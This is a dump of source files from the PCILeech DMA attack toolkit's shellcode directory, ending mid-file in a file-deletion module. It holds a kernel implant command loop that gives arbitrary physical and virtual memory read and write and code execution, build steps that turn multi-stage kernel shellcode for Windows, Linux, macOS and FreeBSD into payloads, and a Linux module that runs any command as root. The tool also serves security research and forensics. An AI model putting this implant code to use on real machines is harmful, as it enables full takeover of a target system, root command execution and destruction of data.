command loop.\n\twhile(TRUE) {\n\t\tpk->_status = 1;\n\t\tif(KMD_CMD_COMPLETED == pk->_op) { // NOP\n\t\t\tidleCount++;\n\t\t\tif(idleCount > 10000000000) {\n\t\t\t\tSysVCall(pk->fn.pause_sbt, \"pcileech\", SBT_1MS, 0, 0); // 1ms\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\tpk->_status = 2;\n\t\tif(KMD_CMD_TERMINATE == pk->_op) { // EXIT\n\t\t\tpk->_status = 0xf0000000;\n\t\t\tSysVCall(pk->fn.vm_phys_free_contig, pg_phys, pk->DMASizeBuffer / 0x1000);\n\t\t\tpk->DMAAddrPhysical = 0;\n\t\t\tpk->DMAAddrVirtual = 0;\n\t\t\tpk->_result = TRUE;\n\t\t\tpk->MAGIC = 0;\n\t\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\t\tSysVCall(pk->fn.kthread_exit);\n\t\t\treturn;\n\t\t}\n\t\tif(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map)\n\t\t\tpk->_result = SetMemoryRanges(pk);\n\t\t}\n\t\tif(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer\n\t\t\t((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))pk->DMAAddrVirtual)(pk, pk->dataIn, pk->dataOut);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_READ == pk->_op) { // READ\n\t\t\tSysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, BSD_PHYS2VIRT_BASE | pk->_address, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_WRITE == pk->_op) { // WRITE\n\t\t\tSysVCall(pk->fn.memcpy, BSD_PHYS2VIRT_BASE | pk->_address, pk->DMAAddrVirtual, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_READ_VA == pk->_op) { // READ Virtual Address\n\t\t\tSysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, pk->_address, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_WRITE_VA == pk->_op) { // WRITE Virtual Address\n\t\t\tSysVCall(pk->fn.memcpy, pk->_address, pk->DMAAddrVirtual, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\tidleCount = 0;\n\t}\n}\n"
  },
  {
    "path": "pcileech_shellcode/info_kmd_core.txt",
    "content": "# compile instructions for the various kernel module shellcode sources.\n#\n#======================================== UEFI ========================================\n#\n# COMPILE C CODE TO OBJ FILE\ncl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_kmd_c.c\n#\n# COMPILE ASM AND LINK C OBJ FILE TO EXE\nml64 uefi_kmd.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \"uefi_kmd_c.obj\"\n#\n# EXTRACT SHELLCODE (shellcode saved as uefi_kmd.bin, c-ify by xxd -i uefi_kmd.bin)\nshellcode64.exe -o uefi_kmd.exe\n#\n#======================================== FreeBSD ========================================\n#\n# compile instructions for the FreeBSD x64 kernel module code\n#\n#=============== STAGE 1 ===============\n#\n# COMPILE ASM TO EXE (SAME CODE AS FOR WINDOWS)\nml64 wx64_stage1.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main\n#\n# EXTRACT SHELLCODE (shellcode saved as wx64_stage1.bin, c-ify by xxd -i wx64_stage1.bin)\nshellcode64.exe -o wx64_stage1.exe\n#\n#=============== STAGE 2 ===============\n#\n# COMPILE ASM TO EXE\nml64 fbsdx64_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \n#\n# EXTRACT SHELLCODE (shellcode saved as fbsdx64_stage2.bin, c-ify by xxd -i fbsdx64_stage2.bin)\nshellcode64.exe -o fbsdx64_stage2.exe\n#\n#=============== STAGE 3 ===============\n#\n# COMPILE C CODE TO OBJ FILE\ncl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel fbsdx64_stage3_c.c\n#\n# COMPILE ASM AND LINK C OBJ FILE TO EXE\nml64 fbsdx64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \"fbsdx64_stage3_c.obj\"\n#\n# EXTRACT SHELLCODE (shellcode saved as fbsdx64_stage3.bin, c-ify by xxd -i fbsdx64_stage3.bin)\nshellcode64.exe -o fbsdx64_stage3.exe\n#\n#======================================== LINUX ========================================\n#\n# compile instructions for the linux x64 kernel module code\n#\n#=============== STAGE 1 ===============\n#\n# COMPILE ASM TO EXE (SAME CODE AS FOR WINDOWS)\nml64 wx64_stage1.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main\n#\n# EXTRACT SHELLCODE (shellcode saved as wx64_stage1.bin, c-ify by xxd -i wx64_stage1.bin)\nshellcode64.exe -o wx64_stage1.exe\n#\n#=============== STAGE 2 ===============\n#\n# COMPILE ASM TO EXE\nml64 lx64_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main\n#\n# EXTRACT SHELLCODE (shellcode saved as lx64_stage2.bin, c-ify by xxd -c 16 -i lx64_stage2.bin)\nshellcode64.exe -o lx64_stage2.exe\n#\n#=============== STAGE 3 ===============\n#\n# COMPILE C CODE TO OBJ FILE\ncl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_stage3_c.c\n#\n# COMPILE ASM AND LINK C OBJ FILE TO EXE\nml64 lx64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \"lx64_stage3_c.obj\"\n#\n# EXTRACT SHELLCODE (shellcode saved as lx64_stage3.bin, c-ify by xxd -c 16 -i lx64_stage3.bin)\nshellcode64.exe -o lx64_stage3.exe\n#\n#======================================== macOS ========================================\n#\n# compile instructions for the macOS kernel module code\n#\n#=============== STAGE 1 ===============\n#\n# COMPILE ASM TO EXE (SAME CODE AS FOR WINDOWS)\nml64 wx64_stage1.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main\n#\n# EXTRACT SHELLCODE (shellcode saved as wx64_stage1.bin, c-ify by xxd -i wx64_stage1.bin)\nshellcode64.exe -o wx64_stage1.exe\n#\n#=============== STAGE 2 ===============\n#\n# COMPILE ASM TO EXE\nml64 macos_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \n#\n# EXTRACT SHELLCODE (shellcode saved as macos_stage2.bin, c-ify by xxd -i macos_stage2.bin)\nshellcode64.exe -o macos_stage2.exe\n#\n#=============== STAGE 3 ===============\n#\n# COMPILE C CODE TO OBJ FILE\ncl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_stage3_c.c\n#\n# COMPILE ASM AND LINK C OBJ FILE TO EXE\nml64 macos_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \"macos_stage3_c.obj\"\n#\n# EXTRACT SHELLCODE (shellcode saved as macos_stage3.bin, c-ify by xxd -i macos_stage3.bin)\nshellcode64.exe -o macos_stage3.exe\n#\n#======================================== Windows x64 ========================================\n#\n# compile instructions for the Windows x64 kernel module code\n#\n#=============== STAGE 1 ===============\n#\n# COMPILE ASM TO EXE\nml64 wx64_stage1.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main\n#\n# EXTRACT SHELLCODE (shellcode saved as wx64_stage1.bin, c-ify by xxd -i wx64_stage1.bin)\nshellcode64.exe -o wx64_stage1.exe\n#\n#=============== STAGE 2 ===============\n#\n# COMPILE ASM AND LINK C OBJ FILE TO EXE\nml64 wx64_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main\n#\n# EXTRACT SHELLCODE (shellcode saved as wx64_stage2.bin, c-ify by xxd -i wx64_stage2.bin)\nshellcode64.exe -o wx64_stage2.exe\n#\n#=============== STAGE 3 ===============\n#\n# COMPILE C CODE TO OBJ FILE\ncl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_stage3_c.c\n#\n# COMPILE ASM AND LINK C OBJ FILE TO EXE\nml64 wx64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \"wx64_stage3_c.obj\"\n#\n# EXTRACT SHELLCODE (shellcode saved as wx64_stage3.bin, c-ify by xxd -i wx64_stage3.bin)\nshellcode64.exe -o wx64_stage3.exe\n#\n#\n#=========== Windows x64 - WIN10_X64_2 - VMM.DLL assisted technique  ===========\n#\ncl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_stage3_c.c\nml64 wx64_stage23_vmm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \"wx64_stage3_c.obj\"\nshellcode64.exe -o wx64_stage23_vmm.exe\n#\n#=========== Windows x64 - WIN10_X64_3 - VMM.DLL assisted technique  ===========\n#\ncl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_stage3_c.c\nml64 wx64_stage23_vmm3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \"wx64_stage3_c.obj\"\nshellcode64.exe -o wx64_stage23_vmm3.exe"
  },
  {
    "path": "pcileech_shellcode/lx64_common.c",
    "content": "// lx64_common.c : support functions used by Linux x64 KMDs started by stage3 EXEC.\n// Compatible with Linux x64.\n//\n// (c) Ulf Frisk, 2016, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"lx64_common.h\"\n\nBOOL _WriteLargeOutput_WaitForAck(PKMDDATA pk)\n{\n\tPEXEC_IO pis = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_IS);\n\tPEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);\n\twhile((pk->_op == KMD_CMD_EXEC_EXTENDED) && ((pis->magic != EXEC_IO_MAGIC) || (!pis->bin.fCompletedAck && (pis->bin.seqAck != pos->bin.seq)))) {\n\t\tSysVCall((QWORD)pk->fn[0] /* msleep */, 25);\n\t}\n\treturn (pk->_op == KMD_CMD_EXEC_EXTENDED) && !pis->bin.fCompletedAck;\n}\n\nBOOL WriteLargeOutput_WaitNext(PKMDDATA pk)\n{\n\tPEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);\n\tpos->magic = EXEC_IO_MAGIC;\n\tCacheFlush();\n\tpos->bin.seq++;\n\tpk->_op = KMD_CMD_EXEC_EXTENDED;\n\treturn _WriteLargeOutput_WaitForAck(pk);\n}\n\nVOID WriteLargeOutput_Finish(PKMDDATA pk)\n{\n\tPEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);\n\tWriteLargeOutput_WaitNext(pk);\n\tpk->dataOutExtraLength = 0;\n\tCacheFlush();\n\tpos->bin.fCompleted = TRUE;\n\tpos->bin.seq++;\n\t_WriteLargeOutput_WaitForAck(pk);\n\tpk->_op = KMD_CMD_EXEC;\n}\n"
  },
  {
    "path": "pcileech_shellcode/lx64_common.h",
    "content": "// lx64_common.h : declarations of commonly used shellcode functions\n// Compatible with Linux x64.\n//\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#ifndef __LX64_COMMON_H__\n#define __LX64_COMMON_H__\n\n#include \"statuscodes.h\"\n\ntypedef void\t\t\t\t\tVOID, *PVOID;\ntypedef int\t\t\t\t\t\tBOOL, *PBOOL;\ntypedef unsigned char\t\t\tBYTE, *PBYTE;\ntypedef char\t\t\t\t\tCHAR, *PCHAR;\ntypedef unsigned short\t\t\tWCHAR, *PWCHAR;\ntypedef unsigned short\t\t\tWORD, *PWORD;\ntypedef unsigned long\t\t\tDWORD, *PDWORD;\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\ntypedef void\t\t\t\t\t*HANDLE;\ntypedef unsigned long\t\t\tSTATUS;\n#define NULL\t\t\t\t\t((void *)0)\n#define MAX_PATH\t\t\t\t260\n#define TRUE\t\t\t\t\t1\n#define FALSE\t\t\t\t\t0\n#define UNREFERENCED_PARAMETER(P) (P)\n#define LOOKUP_FUNCTION(pk, szFn) (SysVCall(pk->AddrKallsymsLookupName, szFn))\n\nextern QWORD SysVCall(QWORD fn, ...);\nextern QWORD WinCall(QWORD p1, ...);\nextern VOID WinCallSetFunction(QWORD pfn);\nextern BOOL  LookupFunctions(QWORD qwAddr_KallsymsLookupName, QWORD pqwNameTable, QWORD pqwFnTable, QWORD cFunctions);\nextern QWORD m_phys_to_virt(QWORD p1);\nextern QWORD m_page_to_phys(QWORD p1);\nextern VOID CacheFlush();\n\ntypedef struct tdFNLX { // VOID definitions for LINUX functions (used in main control program)\n\tQWORD msleep;\n\tQWORD alloc_pages_current;\n\tQWORD set_memory_x;\n\tQWORD __free_pages;\n\tQWORD memcpy;\n\tQWORD schedule;\n\tQWORD do_gettimeofday;\n\tQWORD walk_system_ram_range;\n\tQWORD iounmap;\n\tQWORD ioremap;\n\t// optional values below - do not use\n\tQWORD ktime_get_real_ts64;      // do_gettimeofday alternative if export is missing.\n\tQWORD _ioremap_nocache;\n\tQWORD getnstimeofday64;\t\t\t// do_gettimeofday alternative if export is missing.\n\tQWORD alloc_pages;\n\tQWORD set_memory_nx;\t\t\t// 6.4+ kernels\n\tQWORD set_memory_rox;\t\t\t// 6.4+ kernels\n\tQWORD set_memory_rw;\t\t\t// 6.4+ kernels\n\tQWORD _wincall_asm_callback;\t// linux ksh-module specific callback address (settable by ksh module). [offset: 0x88 / 0x388]\n\tQWORD ReservedFutureUse[14];\n} FNLX, *PFNLX;\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tunion {\n\t\tFNLX fnlx;                  // [0x300] used by shellcode to store function pointers.\n\t\tPVOID fn[32];\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\t};\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\n#define EXEC_IO_MAGIC\t\t\t\t\t0x12651232dfef9521\n#define EXEC_IO_CONSOLE_BUFFER_SIZE\t\t0x800\n#define EXEC_IO_DMAOFFSET_IS\t\t\t0x80000\n#define EXEC_IO_DMAOFFSET_OS\t\t\t0x81000\ntypedef struct tdEXEC_IO {\n\tQWORD magic;\n\tstruct {\n\t\tQWORD cbRead;\n\t\tQWORD cbReadAck;\n\t\tQWORD Reserved[10];\n\t\tBYTE  pb[800];\n\t} con;\n\tstruct {\n\t\tQWORD seq;\n\t\tQWORD seqAck;\n\t\tQWORD fCompleted;\n\t\tQWORD fCompletedAck;\n\t} bin;\n\tQWORD Reserved[395];\n} EXEC_IO, *PEXEC_IO;\n\n/*\n* If a large output is to be written to PCILeech which won't fit in the DMA\n* buffer - write as much as possible in the DMA buffer and then call this fn.\n* When returned successfully write another chunk to this buffer and call again.\n* WriteLargeOutput_Finish must be called after all data is written to clean up.\n* -- pk\n* -- return\n*/\nBOOL WriteLargeOutput_WaitNext(PKMDDATA pk);\n\n/*\n* Clean up function that must be called if WriteLargeOutput_WaitNext has\n* previously been called.\n* -- pk\n*/\nVOID WriteLargeOutput_Finish(PKMDDATA pk);\n\n#endif /* __LX64_COMMON_H__ */"
  },
  {
    "path": "pcileech_shellcode/lx64_common_a.asm",
    "content": "; lx64_common_a.asm : assembly to receive execution from stage3 exec command.\n; Compatible with Linux x64.\n;\n; (c) Ulf Frisk, 2016, 2017\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n; -------------------------------------\n; Prototypes\n; -------------------------------------\nmain PROTO\nLookupFunctions PROTO\nSysVCall PROTO \nWinCallSetFunction PROTO\nm_phys_to_virt PROTO\nm_page_to_phys PROTO\nEXTRN c_EntryPoint:NEAR\n\n; -------------------------------------\n; Code\n; -------------------------------------\n.CODE\n\nmain PROC\n\tPUSH rcx\t\t\t\t\t; PKMDDATA\n\tMOV rax, 0f00ff0011337fed5h\t; magic\n\tPUSH rax\t\t\t\t\t; magic\n\tPUSH rsi\n\tMOV rsi, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\tCALL c_EntryPoint\n\tMOV rsp, rsi\n\tPOP rsi\n\tPOP rax\n\tPOP rax\n\tRET\nmain ENDP\n\n; ------------------------------------------------------------------\n; Lookup function pointers and place them in the supplied struct\n; rcx -> address of kallsyms_lookup_name\n; rdx -> ptr to name array\n; r8  -> ptr to function destination array\n; r9  -> number of items in array\n; rax <- 0 = FAIL, 1 = SUCCESS\n; ------------------------------------------------------------------\nLookupFunctions PROC\n\t; ----------------------------------------------------\n\t; 0: SET UP / STORE NV-REGISTERS\n\t; ----------------------------------------------------\n\tPUSH r15\n\tPUSH r14\n\tPUSH r13\n\tPUSH r12\n\tMOV r15, rcx\t\t\t\t; address of kallsyms_lookup_name\n\tMOV r14, rdx\t\t\t\t; ptr to funcion name array\n\tMOV r13, r9\t\t\t\t\t; num functions * 8\n\tSHL r13, 3\n\tMOV r12, r8\t\t\t\t\t; ptr to function destination array\n\t; ----------------------------------------------------\n\t; 1: LOOKUP FUNCTION POINTERS BY NAME\n\t; ----------------------------------------------------\n\tlookup_loop:\n\tSUB r13, 8\n\tMOV rcx, r15\n\tMOV rdx, [r14+r13]\n\tCALL SysVCall\n\tTEST rax, rax\n\tJZ lookup_fail\n\tMOV [r12+r13], rax\n\tTEST r13, r13\n\tJNZ lookup_loop\n\t; ----------------------------------------------------\n\t; 3: RESTORE NV REGISTERS AND RETURN\n\t; ----------------------------------------------------\n\tXOR rax, rax\n\tINC rax\n\tJMP lookup_exit\n\tlookup_fail:\n\tXOR rax, rax\n\tlookup_exit:\n\tPOP r12\n\tPOP r13\n\tPOP r14\n\tPOP r15\n\tRET\nLookupFunctions ENDP\n\n; ------------------------------------------------------------------\n; Convert from the Windows X64 calling convention to the SystemV\n; X64 calling convention used by Linux.\n; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5);\n; QWORD SysVCall(QWORD fn, ...);\n; ------------------------------------------------------------------\nSysVCall PROC\n\tMOV rax, rcx\n\tPUSH rdi\n\tPUSH rsi\n\n\tMOV rdi, rdx\n\tMOV rsi, r8\n\tMOV rdx, r9\n\tMOV rcx, [rsp+28h+2*8+00h] ; 20h stack shadow space + 8h (RET) + 2*8h PUSH + xxh offset\n\tMOV r8,  [rsp+28h+2*8+08h]\n\tMOV r9,  [rsp+28h+2*8+10h]\n\n\tPUSH r15\n\tMOV r15, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\tCALL rax\n\tMOV rsp, r15\n\tPOP r15\n\n\tPOP rsi\n\tPOP rdi\n\tRET\nSysVCall ENDP\n\n; ------------------------------------------------------------------\n; Fetch the address of PKMDDATA from the stack by looking for the\n; magic value 0f00ff0011337fed5h.\n; ------------------------------------------------------------------\nKMDDATA_FromStackMagic PROC\n\tPUSH rcx\n\tPUSH rdx\n\tXOR rax, rax\n\tMOV rdx, 0f00ff0011337fed5h\n\tKMDDATA_FromStack_Loop:\n\tMOV rcx, [rsp + 8 * rax]\n\tINC rax\n\tCMP rcx, rdx\n\tJNE KMDDATA_FromStack_Loop\n\tMOV rax, [rsp + 8 * rax]\n\tPOP rdx\n\tPOP rcx\n\tRET\nKMDDATA_FromStackMagic ENDP\n\n; ------------------------------------------------------------------\n; Set the (windows x64 calling convention compatible) callback function\n; to forward callbacks sent to WinCall to. Address is saved in:\n; KMDDATA->fn._wincall_asm_callback\n; rcx <- address of callback function\n; ------------------------------------------------------------------\nWinCallSetFunction PROC\n\tCALL KMDDATA_FromStackMagic\n\tADD rax, 388h\n\tMOV [rax], rcx\n\tRET\nWinCallSetFunction ENDP\n\n; ------------------------------------------------------------------\n; Convert from the SystemV X64 calling convention (used by Linux)\n; to the Windows Windows X64 calling convention.\n; Function typically called by the Linux kernel as a callback function.\n; The address of the Windows X64 function to forward the call to is\n; set by 'WinCallSetFunction' (KMDDATA->fn._wincall_asm_callback).\n; A maximum of six (6) parameters are supported.\n; rdi -> rcx\n; rsi -> rdx\n; rdx -> r8\n; rcx -> r9\n; r8  -> stack\n; r9  -> stack\n; ------------------------------------------------------------------\nWinCall PROC\n\tPUSH r15\n\tMOV r15, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\n\tPUSH r9\n\tPUSH r8\n\tSUB rsp, 020h\n\tMOV r9, rcx\n\tMOV r8, rdx\n\tMOV rdx, rsi\n\tMOV rcx, rdi\n\n\tCALL KMDDATA_FromStackMagic\t\t; KMDDATA->fn._wincall_asm_callback\n\tADD rax, 388h\n\tMOV rax, [rax]\n\n\tCALL rax\n\tMOV rsp, r15\n\tPOP r15\n\tRET\nWinCall ENDP\n\n; ------------------------------------------------------------------\n; Convert a physical address to a virtual address (Linux)\n; Function uses Windows calling convention (rcx = 1st param)\n; ------------------------------------------------------------------\nm_phys_to_virt PROC\n\tMOV rax, 0ffff880000000000h\n\tADD rax, rcx\n\tRET\nm_phys_to_virt ENDP\n\n; ------------------------------------------------------------------\n; Convert a struct_page to to a physical address (Linux)\n; Function uses Windows calling convention (rcx = 1st param)\n; ------------------------------------------------------------------\nm_page_to_phys PROC\n\tMOV rax, 0ffffea0000000000h\n\tSUB rcx, rax\n\tSHR rcx, 7\t\t; PFN\n\tSHL rcx, 12\n\tMOV rax, rcx\n\tRET\nm_page_to_phys ENDP\n\n; ----------------------------------------------------\n; Flush the CPU cache.\n; ----------------------------------------------------\nCacheFlush PROC\n\tWBINVD\n\tRET\nCacheFlush ENDP\n\nEND"
  },
  {
    "path": "pcileech_shellcode/lx64_exec_root.c",
    "content": "// lx64_exec_root.c : execute user-mode command from kernel\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_exec_root.c\n// ml64 lx64_common_a.asm /Felx64_exec_root.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_exec_root.obj lx64_common.obj\n// shellcode64.exe -o lx64_exec_root.exe \"EXECUTE A COMMAND AS ROOT                                      \\nLINUX X64 EDITION                                              \\n===============================================================\\nExecute a program as root.                                     \\nREQUIRED OPTIONS:                                              \\n  -s : command to execute including parameters                 \\n         Example: '-s touch /tmp/testfile.txt'                 \\n  -1   : run flag - set to non zero to execute command.        \\n===== EXECUTION ATTEMPT DETAILED RESULT INFORMATION ===========\\nEXECUTE AS ROOT RESULT: %s\\nRESULT CODE   : 0x%08X\\n===============================================================\"\n//\n\n#include \"lx64_common.h\"\n\ntypedef struct tdFN2 {\n    QWORD call_usermodehelper;\n} FN2, *PFN2;\n\n\nBOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {\n    QWORD NAMES[1];\n    CHAR str_call_usermodehelper[] = { 'c', 'a', 'l', 'l', '_', 'u', 's', 'e', 'r', 'm', 'o', 'd', 'e', 'h', 'e', 'l', 'p', 'e', 'r', 0 };\n    NAMES[0] = (QWORD)str_call_usermodehelper;\n    return LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, sizeof(NAMES) / sizeof(QWORD));\n}\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n    FN2 fn2;\n    CHAR str_cmd[] = { '/', 'b', 'i', 'n', '/', 'b', 'a', 's', 'h', 0 };\n    CHAR str_arg1[] = { '-', 'c', 0 };\n    char* argv[4] = { str_cmd, str_arg1, pk->dataInStr, NULL };\n\n    CHAR e0[] = { 'H', 'O', 'M', 'E', '=', '/', 0 };\n    CHAR e1[] = { 'T', 'E', 'R', 'M', '=', 'l', 'i', 'n', 'u', 'x', 0 };\n    CHAR e2[] = { 'P', 'A', 'T', 'H', '=', '/', 'b', 'i', 'n', ':', '/', 's', 'b', 'i', 'n', ':', '/', 'u', 's', 'r', '/', 'b', 'i', 'n', ':', '/', 'u', 's', 'r', '/', 's', 'b', 'i', 'n', 0 };\n    char* envp[4] = { e0, e1, e2, NULL };\n\n\tif(!pk->dataIn[1]) {\n\t\tpk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;\n\t\treturn;\n\t}\n\n    if (!LookupFunctions2(pk, &fn2)) {\n        pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;\n        return;\n    }\n\n    pk->dataOut[0] = SysVCall(fn2.call_usermodehelper, argv[0], argv, envp, 2);\n}"
  },
  {
    "path": "pcileech_shellcode/lx64_filedelete.c",
    "content": "// lx64_filedelete.c : kernel code to delete files from target system.\n// Compatible with Linux x64.\n//\n// (c) Ulf Frisk, 2016-2021\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_filedelete.c\n// ml64 lx64_common_a.asm /Felx64_filedelete.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_filedelete.obj lx64_common.obj\n// shellcode64.exe -o lx64_filedelete.exe \"DELETE FILE ON TARGET SYSTEM                                   \\nLINUX X64 EDITION                                              \\n===============================================================\\nDelete a specified file on the target system.                  \\nREQUIRED OPTIONS:                                              \\n  -s   : file on target system.                                \\n         Example: '-s /tmp/file2delete'                        \\n  -0   : run flag - set to non zero to delete file.            \\n===== DETAILED RESULT INFORMATION =============================\\nFILE NAME     : %s\\nRESULT CODE   : 0x%08X\\n===============================================================\"\n// \n\n#include \"lx64_common.h\"\n\ntypedef struct tdFN2 {\n    QWORD memcpy;\n\tQWORD sys_unlink;\n} FN2, *PFN2;\n\ntypedef struct tdFN3 {\n    QWORD memcpy;\n    QWORD getname;\n    QWORD getname_kernel;\n    QWORD do_unlinkat;\n} FN3, *PFN3;\n\nBOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {\n\tQWORD NAMES[2];\n    CHAR str_memcpy[] = { 'm', 'e', 'm', 'c', 'p', 'y', 0 };\n\tCHAR str_sys_unlink[] = { 's', 'y', 's', '_', 'u', 'n', 'l', 'i', 'n', 'k', 0 };\n    NAMES[0] = (QWORD)str_memcpy;\n\tNAMES[1] = (QWORD)str_sys_unlink;\n\treturn LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, 2);\n}\n\nBOOL LookupFunctions3(PKMDDATA pk, PFN3 pfn3)\n{\n    QWORD NAMES[4];\n    CHAR str_memcpy[] = { 'm', 'e', 'm', 'c', 'p', 'y', 0 };\n    CHAR str_getname[] = { 'g', 'e', 't', 'n', 'a', 'm', 'e', 0 };\n    CHAR str_getname_kernel[] = { 'g', 'e', 't', 'n', 'a', 'm', 'e', '_', 'k', 'e', 'r', 'n', 'e', 'l', 0 };\n    CHAR str_do_unlinkat[] = { 'd', 'o', 